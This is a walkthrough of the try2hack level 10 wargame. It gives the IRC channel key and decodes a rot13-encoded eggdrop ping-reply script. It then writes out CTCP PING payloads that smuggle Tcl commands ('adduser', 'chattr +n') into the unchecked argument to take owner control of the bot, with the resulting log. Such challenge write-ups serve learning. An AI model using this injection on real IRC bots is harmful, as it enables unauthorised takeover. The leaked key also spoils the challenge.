After you have done level 9 you get an IRC channel name and password.
Good job! You can find Level 10 at our IRC channels. Go to #try2hack.level10 on irc.efnet.org and use 'yu0aertehbomb' as key to continue. See the <a href="../chat/">chat</a> page for more information.

Just go to my favorite binary encoding/decoding site http://www.nickciske.com/tools/binary.php and decode it.
The result:
Nice job. Now type '/msg TRY2HACK showbug' to see the bug
As you can see, you get a command that you must write to the bot to show you the bug. This is what the bot writes back:
ovaq pgpe - CVAT pgpe:cvatercyl
cebp pgpe:cvatercyl {avpx hubfg unaq qrfg xrl net} {
frg qhe [rkce [havkgvzr] - $net]
chgfrei "ABGVPR $avpx :Lbhe cvat ercyl gbbx $qhe frpbaqf"}
It looked like a script, but the characters were all messed up, so thought this was rot13, which replaces all chars with the char 13 places to the right in the alphabet. So the only thing I needed was to rot13 it again (26 chars in the alphabet. 13+13):
<?php
print str_rot13('ovaq pgpe - CVAT pgpe:cvatercyl
cebp pgpe:cvatercyl {avpx hubfg unaq qrfg xrl net} {
frg qhe [rkce [havkgvzr] - $net]
chgfrei "ABGVPR $avpx :Lbhe cvat ercyl gbbx $qhe frpbaqf"}');
?>Which results in:
bind ctcr - PING ctcr:pingreply
proc ctcr:pingreply {nick uhost hand dest key arg} {
set dur [expr [unixtime] - $arg]
putserv "NOTICE $nick :Your ping reply took $dur seconds"}
After almost 24 hours, x number cups of coffee, trying and failing, hours googling and reading on eggdrop I finally made it! The argument sent with the ping are in most IRC clients a timestamp, but you can send what you want. The bot lacks of security, because it doesn't check $arg for bad code. Time to exploit.
I tried sending raw data with the /quote command but that didn't work. I then come across the /nctcp command in Irssi (/ctcpreply for mIRC) which I noticed sent some stuff along with the data that seemed to make a difference. I think it was some UTF \x00\x01 thing.
Worked:
/nctcp LEVEL10-xxx PING [adduser yournick *!yourident@*]
/nctcp LEVEL10-xxx PING [chattr yournick +n]
I changed the password for the bot to '123456' by doing /msg LEVEL10-xxx pass 123456
[notice(LEVEL10-605)] PING [adduser asdf *!qwer@*]
-LEVEL10-605([email protected]) - Your ping reply took 123456789 seconds
[notice(LEVEL10-605)] PING [chattr asdf +n]
-LEVEL10-605([email protected]) - Your ping reply took 123456789 seconds
<asdf> pass 123456
-LEVEL10-605([email protected]) - Password changed to '123456'
Then start a DCC chat with the bot /dcc chat LEVEL10-xxx. The bot will msg you with the URL to level 11, along with this:
<LEVEL10-605> Enter your password.
<asdf> 123456
<LEVEL10-605>
<LEVEL10-605> Connected to LEVEL10-0, running eggdrop v1.6.19
<LEVEL10-605>
<LEVEL10-605> Local time is now 19:43
<LEVEL10-605>
<LEVEL10-605> NOT! Welcome in LEVEL10-0, asdf!
<LEVEL10-605> ****************************************************
<LEVEL10-605> * AUTO LOG OUT! *
<LEVEL10-605> ****************************************************
<LEVEL10-605>
<LEVEL10-605> -=- poof -=-
<LEVEL10-605> You've been booted from the bot by LEVEL10-0
-!- Irssi: Closing query with =LEVEL10-605
If the DCC chat doesn't work, then open ports 3713 to 3723, go around your router or figure out something else.
